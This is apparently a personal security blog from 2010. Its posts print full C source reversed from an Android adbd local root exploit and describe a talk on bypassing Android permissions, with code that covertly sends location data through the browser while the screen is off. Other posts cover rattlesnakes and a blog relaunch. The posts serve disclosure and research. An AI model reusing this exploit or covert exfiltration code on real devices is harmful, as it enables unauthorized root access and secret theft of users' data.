Sebastian Krahmer has released another awesome Android exploit last weekend. This man has slaughtered Android to death in the past month! The lastest exploit is a local root privilege escalation, or rather, lack of a successful drop in privilege. August 21st, he released a binary called rageagainstthecage-arm5.bin with no source. Stating in the readme that it was exploiting the lack of a check on the retval of setuid() inside adb. I was curious exactly how this exploit worked, so I got to work reversing it to have a better understanding of what it was doing. I was able to reverse it all back into C within a few hours. Turned out to be a pretty cool class of exploit that I wasn’t aware existed.

It takes advantage of RLIMIT_NPROC max, which is a value that defines how many processes a given UID can have running. This exploit forks off processes until fork() starts failing, indicating that the max number of processes for the given UID has been reached. It uses a pipe to signal to the original parent process of the exploit that it can now kill adbd, causing it to restart. When adbd restarts, it runs as root. After some initialization, it will then drop it privileges to run as the ‘shell’ user.

/* don't listen on a port (default 5037) if running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
    ...
    /* then switch user and group to "shell" */
    setuid(AID_SHELL);
    setgid(AID_SHELL);

Normally in this situation, setuid() would decrement the count of root user processes, and increment the number of shell user processes. But since shell's process count is at its max, setuid() will fail. Since there is no check on the success of the setuid() call, the process will continue running as the root user. When you reconnect running the command `adb -d shell`, you will have a root shell instead. Very clever! A situation I was not aware of regarding setuid and process slot limits. Anyway, here is the reversed source code until he posts the source for the exploit. (grab the binary from Sebastian's post)


/*
 * Reversed from rageagainstthecage-arm5.bin release by Sebastian Krahmer/743C
 * Local root exploit for Android
 * Anthony Lineberry
 *
 * This exploit will fork off proccesseses (as shell user) until the RLIMIT_NPROC max is
 * hit. At that point fork() will start failing. At this point the original parent
 * process will kill the adb process, causing it to restart. When adb starts, it
 * runs as root, and then drops its privs with setuid():
 *
 *  <snip>
 *   /* don't listen on a port (default 5037) if running in secure mode */
 *   /* don't run as root if we are running in secure mode */
 *   if (secure) {
 *
 *       ...
 *
 *       /* then switch user and group to "shell" */
 *       setgid(AID_SHELL);
 *       setuid(AID_SHELL);
 *  </snip>
 *
 * setuid() will decrement the root process count, and increment the shell user
 * proccess count. Since the shell user has hit the RLIMIT_NPROC max, this will
 * cause setuid() to fail. Since the adb code above doesn't check the retval of
 * setuid(), adb will still be running as root.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>

void die(char *s) {
  perror(s);
  exit(errno);
}

pid_t get_adb(void) {
  char path[256];
  pid_t pid = 0;
  int fd;

  while(pid < 32000) {
    sprintf(path, "/proc/%d/cmdline", pid);
    if(fd = open(path, O_RDONLY) < 0) {
      continue;
    }
    memset(path, 0, sizeof(path));

    read(fd, path, sizeof(path)-1);
    close(fd);

    if(strstr(path, "/sbin/adb") != 0) {
      return pid;
    }

    pid++;
  }
  return 0;
}

void kill_adb(pid_t pid) {
  while(1) {
    pid_t adb_pid = get_adb();
    if(adb_pid == pid || adb_pid == 0) {
      sleep(1);
      continue;
    }
    sleep(5);
    kill(-1, SIGKILL);
  }
}

int main() {
  struct rlimit s_rlimit = {0};
  pid_t adb_pid;
  pid_t pid;
  pid_t pid2;
  char num_children = 0;
  int fd;
  int pfd[2];

  puts("[*] CVE-2010-EASY Android local root exploit (C) 743C");
  puts("[*] Checking NPROC limit ...");

  if(getrlimit(RLIMIT_NPROC, &s_rlimit) < 0) {
    die("[-] getrlimit");
  }

  if(s_rlimit.rlim_max == -1) {
    puts("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting");
    exit(1);
  }

  printf("[+] RLIMIT_NPROC={%lu, %lu}\n", s_rlimit.rlim_cur, s_rlimit.rlim_max);
  puts("[*] Searching for adb ...");

  if((adb_pid = get_adb()) == 0) {
    die("[-] Cannot find adb");
  }

  printf("[+] Found adb as PID %d\n", adb_pid);

  puts("[*] Spawning childing. Dont type anything and wait for reset!");
  // Donantion stuff goes here
  puts("[*]\n[*] adb connection will be reset. restart adb server on desktop.");

  sleep(5);

  // Fork processes, kill parent, and make sure child gets its own session ID
  if(fork() > 0) {
    exit(0);
  }
  setsid();

  pipe(pfd);
  pid = fork();
  if(pid != 0) { /* parent */
    // close write pipe
    close(pfd[1]);

    // blocks on pipe read until max proccesses have be forked
    read(pfd[0], &num_children, 1);
    kill(adb_pid, SIGKILL);
    if(fork() != 0) {
      /* parent kills adb? */
      kill_adb(adb_pid);
    }

    fork();
    while(1) {
      sleep(0x743C);
    }
  } else {             /* child */
    // close read pipe
    close(pfd[0]);

    // fork till we can fork no more, exit children
    int write_to_pipe = 1;
    while(1) {
      // fork till we hit the RLIMIT_NOPROC max and fail
      if((pid2 = fork()) >= 0) {
        if(pid2 == 0) {
          exit(0);
        }
        num_children++;
      }

      // This will unblock the parents pipe read so that it can now kill adbd
      if(write_to_pipe) {
        printf("\n[+] Forked %d childs.\n", num_children);
        write(pfd[1], &num_children, sizeof(num_children));
        close(pfd[1]);
      }
      write_to_pipe = 0;
      // after this we just keep on forking again...
    }
  }
}

Update: Bug was patched here http://android.git.kernel.org/?p=platform/system/core.git;a=commit;h=2ad6067ce491446ab22f59a363d36575a942f5c7 (Thanks Nick Kralevich!)

Today I picked up some new additions to my collection. Some amazing looking Crotalus atrox (Western Diamondback Rattlesnake). These are two C. atrox morphs that a friend of mine produced the past 2 years. The first being a ’08 male Ivory Albino (Tyrosinase negative), and the other being a ’09 female Caramel Albino (Tyrosinase positive). Have been excited about getting these from him for the past few weeks. Both pretty rare specimens. I’d be willing to bet you wont see these in your lifetime. They are absolutely gorgeous! Anyway, here are a couple shots I took of them after I got them home before getting them settled into their new enclosures.

Ivory Albino Crotalus atrox

Caramel Albino Crotalus atrox

I’m finally recovering from 6 days in Vegas last night where I spoke at both BlackHat and DefCon 18. My co-workers David Richardson, Tim Wyatt, and myself presented various ways we found around Android application permissions. Permissions that are typically required to gate access to various protected API’s and private user data. In a nominal situation, these permissions are displayed to the user during the install process. At that point the user can make a (somewhat) informed decision to grant the application the requested permissions. That security and trust tends to break down if the user can install an application that seemingly requests 0 permissions, all the while accessing private data and being able to communicate with a server elsewhere on the internet.

Overall I thought our talk went well. Although the only thing the press seemed to pick up on and talk about was the few minutes we spent discussing the community surrounding phone modification; specifically rooting, and ignored all the work we had done that we talked about. Yay media!

Anyway, here is one of the more interesting things we found that I thought I’d share. The ability to do bi-directional communication with a server without requesting android.permission.INTERNET in the Android manifest (courtesy of David Richardson). How you ask? Well, we can ask the browser to do it for us. An Intent can be launched with a URL containing the data to be sent to the server as a param.

Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.example.com/data?lat="+lat+"&lon="+lon));
startActivity(myIntent);

This will launch the browser passing your arguments along with the URL as a GET request. This takes of one way communication, getting data out to the server. But doing so will pop up a browser that the user can see. If we try to hide the browser by opening starting another activity, the page wont load. As the browser activity will call onPause(). Since the phone is sitting in the person's pocket all day, we can get around this by only trying to communicate with the server when the screen is off using the power manager to check the screen state! This will check to see if the screen is off, and if so fire up the browser with our GET request passing our data. If the screen is on, we just return back to the homescreen. The user will never see a browser.

          // Lets send if no one is looking!
          PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
          if (!pm.isScreenOn()) {
              Log.e("NetHack", "Screen off");
              startActivity(new Intent(Intent.ACTION_VIEW,
                  Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags
                  (Intent.FLAG_ACTIVITY_NEW_TASK));
              mBrowserDisplayed = true;
          } else if (mBrowserDisplayed) {
              Log.e("NetHack", "Screen on");
              startActivity(new Intent(Intent.ACTION_MAIN).addCategory
                  (Intent.CATEGORY_HOME));
              mBrowserDisplayed = false;
          }

So now we can send data out, but how do we receive data back? One way we thought of was to do the same, but point the browser at a downloadable content type. This will download a file from the server that would contain any response data and store it on the SD card. Unfortunately, this will fill the top bar with notifications of downloaded files that you wont be able to clear. What if we registered a URI receiver? Google maps uses geo:latitude,longitude?zoom to automatically launch their app. If we register our own handler, say nethack:data?param=server_data, we can have our app launched, and pass any data in the URI to it. The server can redirect the page we requested earlier to pass our data to whatever URI we have setup to recieve.

		<!-- AndroidManifest.xml -->
		<activity android:name=".NetHackReceiver">
			<intent-filter>
				<action android:name="android.intent.action.VIEW"/>
				<category android:name="android.intent.category.DEFAULT"/>
				<category android:name="android.intent.category.BROWSABLE"/>
				<data android:scheme="nethack" android:host="data"/>
			</intent-filter>
		</activity>

Since this is a URI receiver, and is meant to be used for a foreground activity, we can just finish() our activity after handling the data before setting any kind of screen layout.

public class NetHackReceiver extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.e("NetHack", "URI: " + getIntent().toURI());
        finish(); // So no one ever sees this activity
    }
}

You can see the logged data from the above code in the logcat output.

E/NetHack ( 8647): URI: nethack:data?param=MySecret
#Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;launchFlags=0x400000;component=com.lookout.nethack/.NetHack;end

Anyway, that was a brief preview of some of the various things we covered in our talk. If you'd like to check out the rest, read through the slides. Thanks to my co-presenters David Richardson and Tim Wyatt for the awesome work they did during our research!

BlackHat USA 2010 Slides

Dtors Reboot

August 1, 2010

After a long period of downtime, I finally decided to set something new up. I was too lazy to code up my own blog software/cms again, so decided to go with something different this time and try out WordPress–we’ll see how it works out. Unfortunately I lost most everything on the old server due to a dumb mistake on my part. Oops. Lesson learned! I do still have a backup of the mysql database. So I may try and script an import of all that into here using WordPress API’s. Anyway, lookout for new projects on here.

-Anthony

Follow

Get every new post delivered to your Inbox.